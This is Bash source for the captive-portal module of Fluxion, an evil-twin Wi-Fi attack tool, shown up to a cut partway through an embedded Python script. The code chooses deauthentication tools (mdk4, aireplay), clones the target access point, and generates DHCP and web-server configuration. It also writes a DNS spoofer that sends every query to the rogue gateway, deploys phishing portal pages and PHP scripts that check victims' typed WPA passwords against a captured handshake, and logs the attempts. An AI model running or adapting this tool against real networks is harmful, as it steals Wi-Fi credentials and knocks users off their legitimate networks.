1552 lines
51 KiB
Bash
Executable File
1552 lines
51 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
|
|
# ============================================================ #
|
|
# =============== < Captive Portal Parameters > ============== #
|
|
# ============================================================ #
|
|
CaptivePortalState="Not Ready"
|
|
|
|
CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog"
|
|
CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog"
|
|
|
|
CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant")
|
|
CaptivePortalAuthenticationMethodsInfo=(
|
|
"(handshake file, ${CGrn}recommended$CClr)"
|
|
) # "(Target AP authentication, slow)")
|
|
|
|
# ============= < Virtual Network Configuration > ============ #
|
|
# To avoid collapsing with an already existing network,
|
|
# we'll use a somewhat uncommon network and server IP.
|
|
CaptivePortalGatewayAddress="192.168.254.1"
|
|
CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*}
|
|
|
|
|
|
# ============================================================ #
|
|
# ============== < Captive Portal Subroutines > ============== #
|
|
# ============================================================ #
|
|
captive_portal_unset_jammer_interface() {
|
|
CaptivePortalJammerInterfaceOriginal=""
|
|
|
|
if [ ! "$CaptivePortalJammerInterface" ]; then return 1; fi
|
|
CaptivePortalJammerInterface=""
|
|
|
|
# Check if we're automatically selecting the interface & skip
|
|
# this one if so to take the user back properly.
|
|
local interfacesAvailable
|
|
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
|
|
|
|
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
|
|
}
|
|
|
|
captive_portal_set_jammer_interface() {
|
|
if [ "$CaptivePortalJammerInterface" ]; then return 0; fi
|
|
|
|
if [ ! "$CaptivePortalJammerInterfaceOriginal" ]; then
|
|
echo "Running get jammer interface." > $FLUXIONOutputDevice
|
|
if ! fluxion_get_interface attack_targetting_interfaces \
|
|
"$CaptivePortalJammerInterfaceQuery"; then
|
|
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
|
|
return 1
|
|
fi
|
|
CaptivePortalJammerInterfaceOriginal=$FluxionInterfaceSelected
|
|
fi
|
|
|
|
local selectedInterface=$CaptivePortalJammerInterfaceOriginal
|
|
|
|
if ! fluxion_allocate_interface $selectedInterface; then
|
|
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
|
|
return 2
|
|
fi
|
|
|
|
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
|
|
CaptivePortalJammerInterface=${FluxionInterfaces[$selectedInterface]}
|
|
}
|
|
|
|
captive_portal_ap_interfaces() {
|
|
interface_list_all
|
|
local interface
|
|
for interface in "${InterfaceListAll[@]}"; do
|
|
if [ "$interface" = "lo" ]; then continue; fi
|
|
echo "$interface"
|
|
done
|
|
}
|
|
|
|
captive_portal_unset_ap_interface() {
|
|
CaptivePortalAccessPointInterfaceOriginal=""
|
|
|
|
if [ ! "$CaptivePortalAccessPointInterface" ]; then return 1; fi
|
|
if [ "$CaptivePortalAccessPointInterface" = \
|
|
"${CaptivePortalJammerInterface}v" ]; then
|
|
if ! iw dev $CaptivePortalAccessPointInterface del \
|
|
&> $FLUXIONOutputDevice; then
|
|
fluxion_conditional_bail "Unable to remove virtual interface!"
|
|
exit 1
|
|
fi
|
|
fi
|
|
CaptivePortalAccessPointInterface=""
|
|
}
|
|
|
|
captive_portal_set_ap_interface() {
|
|
if [ "$CaptivePortalAccessPointInterface" ]; then return 0; fi
|
|
|
|
if [ ! "$CaptivePortalAccessPointInterfaceOriginal" ]; then
|
|
echo "Running get ap interface." > $FLUXIONOutputDevice
|
|
if ! fluxion_get_interface captive_portal_ap_interfaces \
|
|
"$CaptivePortalAccessPointInterfaceQuery"; then
|
|
echo "Failed to get ap interface" > $FLUXIONOutputDevice
|
|
return 1
|
|
fi
|
|
CaptivePortalAccessPointInterfaceOriginal=$FluxionInterfaceSelected
|
|
fi
|
|
|
|
local selectedInterface=$CaptivePortalAccessPointInterfaceOriginal
|
|
|
|
if ! fluxion_allocate_interface $selectedInterface; then
|
|
echo "Failed to allocate ap interface" > $FLUXIONOutputDevice
|
|
return 2
|
|
fi
|
|
|
|
echo "Succeeded get ap interface." > $FLUXIONOutputDevice
|
|
CaptivePortalAccessPointInterface=${FluxionInterfaces[$selectedInterface]}
|
|
|
|
# If interfaces are the same, we need an independent virtual interface.
|
|
if [ "$CaptivePortalAccessPointInterface" = \
|
|
"$CaptivePortalJammerInterface" ]; then
|
|
# TODO: Make fluxion's interface services manage virtual interfaces.
|
|
# Have fluxion_get_interface return a virutal interface if the primary
|
|
# interface is in used by something else (virtual reservation?).
|
|
echo "Virtual interface required, attempting." > $FLUXIONOutputDevice
|
|
if ! iw dev $CaptivePortalJammerInterface interface \
|
|
add ${CaptivePortalJammerInterface}v type managed \
|
|
2> $FLUXIONOutputDevice; then
|
|
echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError"
|
|
sleep 5
|
|
return 2
|
|
fi
|
|
echo "Virtual interface created successfully." > $FLUXIONOutputDevice
|
|
CaptivePortalAccessPointInterface=${CaptivePortalJammerInterface}v
|
|
fi
|
|
}
|
|
|
|
function captive_portal_unset_ap_service() {
|
|
if [ ! "$CaptivePortalAPService" ]; then return 1; fi
|
|
|
|
CaptivePortalAPService=""
|
|
|
|
# Since we're auto-selecting when on auto, trigger undo-chain.
|
|
if [ "$FLUXIONAuto" ]; then return 2; fi
|
|
|
|
if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then
|
|
return 3;
|
|
fi
|
|
}
|
|
|
|
function captive_portal_set_ap_service() {
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
if ! type -t ap_service_start; then
|
|
# AP Service: Load the service's helper routines.
|
|
source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh"
|
|
fi
|
|
return 0
|
|
fi
|
|
if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then
|
|
return 0
|
|
fi
|
|
|
|
captive_portal_unset_ap_service
|
|
|
|
echo -e "$FLUXIONVLine ${CClr}Select a method of deauthentication\n${CClr}"
|
|
echo -e "${CSRed}[${CSYel}1${CSRed}]${CClr} mdk4${CClr}"
|
|
echo -e "${CSRed}[${CSYel}2${CSRed}]${CClr} aireplay\n${CClr}"
|
|
read -p $'\e[0;31m[\e[1;34mfluxion\e[1;33m@\e[1;37m'"$HOSTNAME"$'\e[0;31m]\e[0;31m-\e[0;31m[\e[1;33m~\e[0;31m] \e[0m' option_deauth
|
|
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
CaptivePortalAPService="hostapd"
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalAPServiceQuery"
|
|
echo
|
|
|
|
fluxion_target_show
|
|
|
|
local choices=(
|
|
"$CaptivePortalAPServiceHostapdOption"
|
|
"$CaptivePortalAPServiceAirbaseOption"
|
|
"$FLUXIONGeneralBackOption"
|
|
)
|
|
io_query_choice "" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$CaptivePortalAPServiceHostapdOption")
|
|
CaptivePortalAPService="hostapd" ;;
|
|
"$CaptivePortalAPServiceAirbaseOption")
|
|
CaptivePortalAPService="airbase-ng" ;;
|
|
"$FLUXIONGeneralBackOption")
|
|
return 1
|
|
;;
|
|
*)
|
|
fluxion_conditional_bail "Invalid AP service selected!"
|
|
return 1
|
|
;;
|
|
esac
|
|
fi
|
|
|
|
# AP Service: Load the service's helper routines.
|
|
source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh"
|
|
}
|
|
|
|
captive_portal_unset_authenticator() {
|
|
if [ ! "$CaptivePortalAuthenticatorMode" ]; then return 0; fi
|
|
|
|
case "$CaptivePortalAuthenticatorMode" in
|
|
"hash")
|
|
echo "Unset hash is done automatically." > $FLUXIONOutputDevice ;;
|
|
esac
|
|
|
|
CaptivePortalAuthenticatorMode=""
|
|
|
|
# If we've only got one option, then the user skipped this section
|
|
# by auto-selecting that single option, so we unset the previous
|
|
# phase along with this one to properly take the user back.
|
|
if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then
|
|
return 1 # Trigger undo chain because it was auto-selected.
|
|
fi
|
|
}
|
|
|
|
captive_portal_set_authenticator() {
|
|
if [ "$CaptivePortalAuthenticatorMode" ]; then
|
|
case "$CaptivePortalAuthenticatorMode" in
|
|
"hash")
|
|
if [ "$CaptivePortalHashPath" ]; then
|
|
echo "Captive Portal authentication mode is already set, skipping!" \
|
|
> $FLUXIONOutputDevice
|
|
return 0
|
|
fi
|
|
;;
|
|
esac
|
|
fi
|
|
|
|
captive_portal_unset_authenticator
|
|
|
|
# If we've got only one choice, auto-select it for the user.
|
|
if [ \
|
|
${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \
|
|
${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a \
|
|
"$FLUXIONAuto" ]; then
|
|
CaptivePortalAuthenticatorMode="${CaptivePortalAuthenticationMethods[0]}"
|
|
echo "Auto-selected auth-method: $CaptivePortalAuthenticatorMode" \
|
|
> $FLUXIONOutputDevice
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery"
|
|
echo
|
|
|
|
fluxion_target_show
|
|
|
|
local choices=(
|
|
"${CaptivePortalAuthenticationMethods[@]}"
|
|
"$FLUXIONGeneralBackOption"
|
|
)
|
|
io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" \
|
|
choices[@] CaptivePortalAuthenticationMethodsInfo[@]
|
|
|
|
echo
|
|
|
|
CaptivePortalAuthenticatorMode="${IOQueryFormatFields[0]}"
|
|
|
|
# If we're going back, reset everything and abort.
|
|
if [[ \
|
|
"$CaptivePortalAuthenticatorMode" == \
|
|
"$FLUXIONGeneralBackOption" ]]; then
|
|
captive_portal_unset_authenticator
|
|
return -1
|
|
fi
|
|
fi
|
|
|
|
# Process the authentication method selected.
|
|
local result=1 # Assume failure at first.
|
|
case "$CaptivePortalAuthenticatorMode" in
|
|
"hash")
|
|
# Pass default path if no path is set yet.
|
|
if [ ! "$CaptivePortalHashPath" ]; then
|
|
CaptivePortalHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
|
|
fi
|
|
|
|
fluxion_hash_get_path \
|
|
"$CaptivePortalHashPath" "$FluxionTargetMAC" "$FluxionTargetSSID"
|
|
result=$?
|
|
|
|
if [ $result -eq 0 ]; then
|
|
CaptivePortalHashPath="$FluxionHashPath"
|
|
fi
|
|
;;
|
|
esac
|
|
|
|
# Assure authentication method processing succeeded, abort otherwise.
|
|
if [ $result -ne 0 ] && [ "$FLUXIONDebug" == "" ]; then
|
|
echo "Auth-mode error code $result!" > $FLUXIONOutputPath
|
|
return 1
|
|
fi
|
|
}
|
|
|
|
captive_portal_run_certificate_generator() {
|
|
xterm -bg "#000000" -fg "#CCCCCC" \
|
|
-title "Generating Self-Signed SSL Certificate" -e openssl req \
|
|
-subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \
|
|
-new -newkey rsa:2048 -days 365 -nodes -x509 \
|
|
-keyout "$FLUXIONWorkspacePath/server.pem" \
|
|
-out "$FLUXIONWorkspacePath/server.pem"
|
|
# Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html
|
|
chmod 400 "$FLUXIONWorkspacePath/server.pem"
|
|
}
|
|
|
|
captive_portal_unset_certificate() {
|
|
if [ ! "$CaptivePortalSSL" ]; then return 1; fi
|
|
# WARNING: The server configuration depends on whether the certificate
|
|
# file exists and is positioned in the proper location. The check above
|
|
# could unsynchronize with the certificate file if we're not careful!
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem"
|
|
CaptivePortalSSL=""
|
|
|
|
# Since we're auto-selecting when on auto, trigger undo-chain.
|
|
if [ "$FLUXIONAuto" ]; then return 2; fi
|
|
}
|
|
|
|
# Create Self-Signed SSL Certificate
|
|
captive_portal_set_certificate() {
|
|
if [ \
|
|
"$CaptivePortalSSL" = "disabled" -o \
|
|
"$CaptivePortalSSL" = "enabled" -a \
|
|
-f "$FLUXIONWorkspacePath/server.pem" ]; then
|
|
echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" \
|
|
> $FLUXIONOutputDevice
|
|
return 0
|
|
fi
|
|
|
|
# TODO: This is temporary solution, refactor this.
|
|
if [ "$CaptivePortalSSL" = "enabled" ]; then
|
|
local -r restoring=true
|
|
fi
|
|
|
|
captive_portal_unset_certificate
|
|
|
|
# Check existance of ssl certificate within fluxion with file size > 0
|
|
# If user-supplied (fancy) certificate exists, copy it to fluxspace.
|
|
if [ \
|
|
-f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \
|
|
-s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \
|
|
]; then
|
|
cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \
|
|
"$FLUXIONWorkspacePath/server.pem"
|
|
|
|
CaptivePortalSSL="enabled" # Enabled if sourcing user certificate
|
|
|
|
echo "Captive Portal certificate was user supplied, skipping query!" \
|
|
> $FLUXIONOutputDevice
|
|
return 0
|
|
fi
|
|
|
|
|
|
# Check if we're restoring and we need to re-create certificate.
|
|
if [ "$restoring" ]; then
|
|
if ! captive_portal_run_certificate_generator; then
|
|
fluxion_conditional_bail "cert-gen failed!"
|
|
return 2
|
|
fi
|
|
CaptivePortalSSL="enabled"
|
|
return 0
|
|
fi
|
|
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
CaptivePortalSSL="disabled"
|
|
else
|
|
local choices=(
|
|
"$CaptivePortalCertificateSourceGenerateOption"
|
|
"$CaptivePortalCertificateSourceRescanOption"
|
|
"$CaptivePortalCertificateSourceDisabledOption"
|
|
"$FLUXIONGeneralBackOption"
|
|
)
|
|
|
|
io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$CaptivePortalCertificateSourceGenerateOption")
|
|
# If cert generator fails, gtfo, something broke!
|
|
if ! captive_portal_run_certificate_generator; then
|
|
fluxion_conditional_bail "cert-gen failed!"
|
|
return 2
|
|
fi
|
|
CaptivePortalSSL="enabled"
|
|
;;
|
|
|
|
"$CaptivePortalCertificateSourceRescanOption")
|
|
captive_portal_set_certificate
|
|
return $?
|
|
;;
|
|
|
|
"$CaptivePortalCertificateSourceDisabledOption")
|
|
CaptivePortalSSL="disabled"
|
|
;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
return 1
|
|
;;
|
|
*)
|
|
fluxion_conditional_bail "Unknown cert-gen option!"
|
|
return 2
|
|
;;
|
|
esac
|
|
fi
|
|
}
|
|
|
|
captive_portal_unset_connectivity() {
|
|
if [ ! "$CaptivePortalConnectivity" ]; then return 1; fi
|
|
CaptivePortalConnectivity=""
|
|
|
|
# Since we're auto-selecting when on auto, trigger undo-chain.
|
|
if [ "$FLUXIONAuto" ]; then return 2; fi
|
|
}
|
|
|
|
captive_portal_set_connectivity() {
|
|
if [ "$CaptivePortalConnectivity" ]; then return 0; fi
|
|
|
|
captive_portal_unset_connectivity
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
CaptivePortalConnectivity="disconnected"
|
|
else
|
|
local choices=(
|
|
"$CaptivePortalConnectivityDisconnectedOption"
|
|
"$CaptivePortalConnectivityEmulatedOption"
|
|
"$FLUXIONGeneralBackOption"
|
|
)
|
|
io_query_choice "$CaptivePortalConnectivityQuery" choices[@]
|
|
|
|
case "$IOQueryChoice" in
|
|
"$CaptivePortalConnectivityDisconnectedOption")
|
|
CaptivePortalConnectivity="disconnected" ;;
|
|
"$CaptivePortalConnectivityEmulatedOption")
|
|
CaptivePortalConnectivity="emulated" ;;
|
|
"$FLUXIONGeneralBackOption")
|
|
return 1
|
|
;;
|
|
*)
|
|
fluxion_conditional_bail "Unknown connectivity option!"
|
|
return 2
|
|
;;
|
|
esac
|
|
fi
|
|
}
|
|
|
|
captive_portal_unset_user_interface() {
|
|
if [ -z "$CaptivePortalUserInterface" ]; then return 1; fi
|
|
CaptivePortalUserInterface=""
|
|
}
|
|
|
|
captive_portal_set_user_interface() {
|
|
local -r attackPath="$FLUXIONPath/attacks/Captive Portal"
|
|
|
|
# Skip setting UI if one is selected and is a custom or a generic portal.
|
|
if [ "$CaptivePortalUserInterface" != "" ] && [ \
|
|
-d "$attackPath/sites/$CaptivePortalUserInterface.portal" -o \
|
|
-f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then
|
|
return 0
|
|
fi
|
|
|
|
captive_portal_unset_user_interface
|
|
|
|
local sites=()
|
|
|
|
# Attempt adding generic portals only if the directory exists.
|
|
if [ -d "$FLUXIONPath/attacks/Captive Portal/generic/languages" ]; then
|
|
# Normalize the names of the generic portals for presentation.
|
|
for site in "$FLUXIONPath/attacks/Captive Portal/generic/languages/"*.lang; do
|
|
sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")")
|
|
done
|
|
fi
|
|
|
|
# Attempt adding custom portals only if the directory exists.
|
|
if [ -d "$FLUXIONPath/attacks/Captive Portal/sites" ]; then
|
|
# Retrieve available portal sites and strip the .portal extension.
|
|
for site in "$FLUXIONPath/attacks/Captive Portal/sites/"*.portal; do
|
|
sites+=("$(basename "${site%.portal}")")
|
|
done
|
|
fi
|
|
|
|
local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption")
|
|
local sitesLanguage=("${sites[@]/*_/}")
|
|
|
|
format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr"
|
|
local queryFieldOptionsFormat=$FormatCenterDynamic
|
|
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalUIQuery"
|
|
|
|
echo
|
|
|
|
fluxion_target_show "$FluxionTargetSSID" "$FluxionTargetEncryption" \
|
|
"$FluxionTargetChannel" "$FluxionTargetMAC" "$FluxionTargetMaker"
|
|
|
|
io_query_format_fields "" "$queryFieldOptionsFormat\n" \
|
|
sitesIdentifier[@] sitesLanguage[@]
|
|
|
|
echo
|
|
|
|
local site="${IOQueryFormatFields[0]}"
|
|
local siteLanguage="${IOQueryFormatFields[1]}"
|
|
local siteIdentifier="${site}_${siteLanguage}"
|
|
|
|
case "$site" in
|
|
"$CaptivePortalGenericInterfaceOption")
|
|
CaptivePortalUserInterface=$siteLanguage
|
|
# source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang"
|
|
# captive_portal_generic
|
|
;;
|
|
"$FLUXIONGeneralBackOption")
|
|
captive_portal_unset_user_interface
|
|
return 1
|
|
;;
|
|
*)
|
|
CaptivePortalUserInterface=$siteIdentifier
|
|
;;
|
|
esac
|
|
}
|
|
|
|
|
|
captive_portal_get_client_IP() {
|
|
if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ]; then
|
|
MatchedClientIP=$(
|
|
cat "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" | \
|
|
sed '/^\s*$/d' | tail -n 1 | head -n 1
|
|
)
|
|
else
|
|
MatchedClientIP="unknown"
|
|
fi
|
|
|
|
echo $MatchedClientIP
|
|
}
|
|
|
|
captive_portal_get_IP_MAC() {
|
|
if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ] && \
|
|
[ "$(captive_portal_get_client_IP)" != "" ] && \
|
|
[ -f "$FLUXIONWorkspacePath/clients.txt" ]; then
|
|
local IP=$(captive_portal_get_client_IP)
|
|
local MatchedClientMAC=$(
|
|
cat $FLUXIONWorkspacePath/clients.txt | \
|
|
grep $IP | awk '{print $5}' | grep : | head -n 1 | \
|
|
tr [:upper:] [:lower:]
|
|
)
|
|
if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then
|
|
local MatchedClientMAC="xx:xx:xx:xx:xx:xx"
|
|
fi
|
|
else
|
|
local MatchedClientMAC="unknown"
|
|
fi
|
|
echo $MatchedClientMAC
|
|
}
|
|
|
|
captive_portal_get_MAC_brand() {
|
|
if [ $(captive_portal_get_IP_MAC) != "" ]; then
|
|
local MACManufacturer=$( macchanger -l | \
|
|
grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | \
|
|
cut -d " " -f 5-)
|
|
if echo "$MACManufacturer" | grep -q x; then
|
|
local MACManufacturer="unknown"
|
|
fi
|
|
else
|
|
local MACManufacturer="unknown"
|
|
fi
|
|
|
|
echo $MACManufacturer
|
|
}
|
|
|
|
|
|
captive_portal_unset_attack() {
|
|
sandbox_remove_workfile \
|
|
"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
sandbox_remove_workfile \
|
|
"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
|
|
|
|
# Only reset the AP if one has been defined.
|
|
if [ "$CaptivePortalAPService" -a "$(type -t ap_service_reset)" ]; then
|
|
ap_service_reset
|
|
fi
|
|
}
|
|
|
|
# Create different settings required for the script
|
|
captive_portal_set_attack() {
|
|
local -r attackPath="$FLUXIONPath/attacks/Captive Portal"
|
|
# Load and set the captive portal user interface to the workspace.
|
|
# Check whether it's a custom, generic, or invalid portal.
|
|
if [ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" ]; then
|
|
cp -r "$attackPath/sites/$CaptivePortalUserInterface.portal" \
|
|
"$FLUXIONWorkspacePath/captive_portal"
|
|
elif [ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then
|
|
source "$attackPath/generic/languages/$CaptivePortalUserInterface.lang"
|
|
captive_portal_generic
|
|
else
|
|
return 1
|
|
fi
|
|
|
|
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
|
|
sed -i -e 's/$APTargetSSID/'"${FluxionTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${FluxionTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${FluxionTargetChannel//\//\\\/}"'/g' {} \;
|
|
|
|
|
|
# Add the PHP authenticator scripts, used to verify
|
|
# password attempts from users using the web interface.
|
|
local authenticatorFiles=("authenticator.php" "check.php" "update.php")
|
|
|
|
for authenticatorFile in "${authenticatorFiles[@]}"; do
|
|
cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \
|
|
"$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \
|
|
"$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
done
|
|
|
|
# Add the files for captive portal internet connectivity checks.
|
|
cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \
|
|
"$FLUXIONWorkspacePath/captive_portal/connectivity_responses"
|
|
|
|
|
|
# AP Service: Prepare service for an attack.
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
ap_service_prep \
|
|
"$CaptivePortalAccessPointInterface" \
|
|
"$CaptivePortalGatewayAddress" \
|
|
"$FluxionTargetSSID" \
|
|
"$FluxionTargetRogueMAC" \
|
|
"$FluxionTargetChannel"
|
|
|
|
CaptivePortalAccessInterface=$APServiceAccessInterface
|
|
fi
|
|
|
|
|
|
# Generate the dhcpd configuration file, which is
|
|
# used to provide DHCP service to rogue AP clients.
|
|
echo "\
|
|
authoritative;
|
|
|
|
default-lease-time 600;
|
|
max-lease-time 7200;
|
|
|
|
subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 {
|
|
option broadcast-address $CaptivePortalGatewayNetwork.255;
|
|
option routers $CaptivePortalGatewayAddress;
|
|
option subnet-mask 255.255.255.0;
|
|
option domain-name-servers $CaptivePortalGatewayAddress;
|
|
|
|
range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254;
|
|
}\
|
|
" >"$FLUXIONWorkspacePath/dhcpd.conf"
|
|
|
|
#create an empty leases file
|
|
touch "$FLUXIONWorkspacePath/dhcpd.leases"
|
|
|
|
# Generate configuration for a lighttpd web-server.
|
|
echo "\
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\"
|
|
|
|
server.modules = (
|
|
\"mod_access\",
|
|
\"mod_alias\",
|
|
\"mod_accesslog\",
|
|
\"mod_fastcgi\",
|
|
\"mod_redirect\",
|
|
\"mod_rewrite\"
|
|
)
|
|
|
|
accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\"
|
|
|
|
fastcgi.server = (
|
|
\".php\" => (
|
|
(
|
|
\"bin-path\" => \"/usr/bin/php-cgi\",
|
|
\"socket\" => \"/tmp/fluxspace/php.socket\"
|
|
)
|
|
)
|
|
)
|
|
|
|
server.port = 80
|
|
server.pid-file = \"/var/run/lighttpd.pid\"
|
|
# server.username = \"www\"
|
|
# server.groupname = \"www\"
|
|
|
|
mimetype.assign = (
|
|
\".html\" => \"text/html\",
|
|
\".htm\" => \"text/html\",
|
|
\".txt\" => \"text/plain\",
|
|
\".jpg\" => \"image/jpeg\",
|
|
\".png\" => \"image/png\",
|
|
\".css\" => \"text/css\"
|
|
)
|
|
|
|
|
|
server.error-handler-404 = \"/\"
|
|
|
|
static-file.exclude-extensions = (
|
|
\".fcgi\",
|
|
\".php\",
|
|
\".rb\",
|
|
\"~\",
|
|
\".inc\"
|
|
)
|
|
|
|
index-file.names = (
|
|
\"index.htm\",
|
|
\"index.html\",
|
|
\"index.php\"
|
|
)
|
|
" >"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
|
|
# Configure lighttpd's SSL only if we've got a certificate and its key.
|
|
if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then
|
|
echo "\
|
|
\$SERVER[\"socket\"] == \":443\" {
|
|
ssl.engine = \"enable\"
|
|
ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\"
|
|
}
|
|
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
fi
|
|
|
|
if [ "$CaptivePortalConnectivity" = "emulated" ]; then
|
|
echo "\
|
|
# The following will emulate Apple's and Google's internet connectivity checks.
|
|
# This should help with no-internet-connection warnings in some devices.
|
|
\$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response.
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\"
|
|
}
|
|
|
|
# Respond with Google's captive response on certain domains.
|
|
# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com
|
|
\$HTTP[\"host\"] =~ \"asdf\" {
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
|
|
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
|
|
}
|
|
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
else
|
|
echo "\
|
|
# Redirect all traffic to the captive portal when not emulating a connection.
|
|
\$HTTP[\"host\"] != \"captive.gateway.lan\" {
|
|
url.redirect-code = 307
|
|
url.redirect = (
|
|
\"^/(.*)\" => \"http://captive.gateway.lan/\",
|
|
)
|
|
}
|
|
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
|
|
fi
|
|
|
|
# Create a DNS service with python, forwarding all traffic to gateway.
|
|
echo "\
|
|
import sys, traceback, socket
|
|
# NOTICE: This DNS server works with python 2 and python 3
|
|
|
|
class DNSQuery:
|
|
def __init__(self, data):
|
|
self.data = data
|
|
self.domain = ''
|
|
|
|
queryType = (ord(data[2]) >> 3) & 15
|
|
|
|
# Only handle basic requests.
|
|
if queryType != 0:
|
|
print('Ignoring Query: Non-spoofed type.')
|
|
return
|
|
|
|
domainStart = 13 # Skip length byte and start at domain.
|
|
domainLength = ord(data[domainStart - 1]) # Evaluate length byte.
|
|
|
|
while domainLength != 0:
|
|
self.domain += data[domainStart : domainStart + domainLength] + '.'
|
|
|
|
domainStart += domainLength + 1 # Skip the length byte & start at domain.
|
|
domainLength = ord(data[domainStart - 1]) # Evaluate length byte.
|
|
|
|
def response(self, ipv4):
|
|
if not self.domain: return ''
|
|
|
|
packet = ''
|
|
|
|
packet += self.data[ :2] + '\x81\x80'
|
|
packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
|
packet += self.data[12:]
|
|
packet += '\xc0\x0c'
|
|
packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
|
|
|
|
# Convert string IPv4 quads to binary values (bytes).
|
|
packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.')))
|
|
|
|
return packet
|
|
|
|
if __name__ == '__main__':
|
|
targetIPv4 = '$CaptivePortalGatewayAddress'
|
|
|
|
print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4)
|
|
|
|
link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
link.bind(('',53))
|
|
|
|
try:
|
|
while True:
|
|
clientData, clientIPv4 = link.recvfrom(1024)
|
|
|
|
queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape')
|
|
|
|
query = DNSQuery(queryData)
|
|
|
|
response = query.response(targetIPv4)
|
|
|
|
if sys.version_info > (3, 0):
